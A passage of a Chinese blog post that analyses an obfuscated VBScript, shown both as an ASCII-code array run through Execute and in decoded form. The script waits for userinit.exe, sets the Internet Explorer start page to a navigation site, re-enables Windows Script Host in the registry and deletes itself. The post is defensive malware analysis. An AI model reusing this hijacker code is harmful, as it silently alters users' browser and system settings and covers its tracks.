2,32,32,32,32,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,34,117,115,101,114,105,110,105,116,46,101,120,101,34,32,84,104,101,110,13,10,32,32,32,32,32,32,32,32,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,49,13,10,32,32,32,32,32,32,32,32,32,32,32,32,69,120,105,116,32,70,111,114,13,10,32,32,32,32,32,32,32,32,69,110,100,32,73,102,13,10,32,32,32,32,78,101,120,116,13,10,32,32,32,32,73,102,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,32,84,104,101,110,32,69,120,105,116,32,68,111,13,10,32,32,32,32,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,13,10,76,111,111,112,13,10,13,10,115,80,97,103,101,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,57,57,57,46,99,111,109,47,63,111,110,101,34,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,34,72,75,67,85,92,83,111,102,116,119,97,114,101,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,44,32,115,80,97,103,101,13,10,13,10,115,82,101,103,80,97,116,104,32,61,32,34,72,75,76,77,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,32,83,99,114,105,112,116,32,72,111,115,116,92,83,101,116,116,105,110,103,115,34,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,105,69,110,97,98,108,101,100,32,61,32,111,98,106,83,104,101,108,108,46,82,101,103,82,101,97,100,32,95,13,10,40,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,41,13,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,61,32,48,32,84,104,101,110,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,34,44,32,105,69,110,97,98,108,101,100,44,32,34,82,69,71,95,68,87,79,82,68,34,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,68,101,108,101,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,13,10,69,110,100,32,73,102,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,83,101,116,32,102,32,61,32,111,98,106,83,104,101,108,108,46,71,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101) 后半段是 For i = 0 To UBound(strs) runner = runner & Chr(strs(i)) Next Execute runner 虽说对vbs不怎么熟,但也知道vbs经常用来写个启动项啊。加个用户啊。之类的。后半句很好懂。就是把ascii码转换成字符串,然后执行。字面意思看看就行了。其实应该可以直接将Execute runner 改为 MsgBox runner就能输出了。但eset不能关闭。所以最后还是选择用C#来写了。 解码嘛。很简单。VS刚好开着。直接写吧。 byte[] strs = {68,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101}; System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding(); Console.WriteLine(asciiEncoding.GetString(strs)); 运行后输出 Do Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process") FoundProcess = 0 For Each objProcess In colProcesses If objProcess.Name = "userinit.exe" Then FoundProcess = 1 Exit For End If Next If FoundProcess = 0 Then Exit Do WScript.Sleep 100 Loop sPage = "http://www.999.com/?one" Set objShell = CreateObject("WScript.Shell") objShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", s Page sRegPath = "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" On Error Resume Next iEnabled = objShell.RegRead _ (sRegPath & "\Enabled_") If Err.Number = 0 Then objShell.RegWrite sRegPath & "\Enabled", iEnabled, "REG_DWORD" objShell.RegDelete sRegPath & "\Enabled_" End If Set objShell = CreateObject("Scripting.FileSystemObject") Set f = objShell.GetFile(WScript.ScriptFullName) If f.Attributes And 1 Then f.Attributes = f.Attributes - 1 objShell.DeleteFile WScript.ScriptFullName 结合后半段。简单读一读,就知道这个先找了一下userinit.exe进程。然后改了注册表并且设置了浏览器首页为999这个什么网站,我打开发现是个导航站。。人家hao123做个导航站赚钱了。。你们要不要这样跟风啊。。

2012-11-25 · 1 min · bystander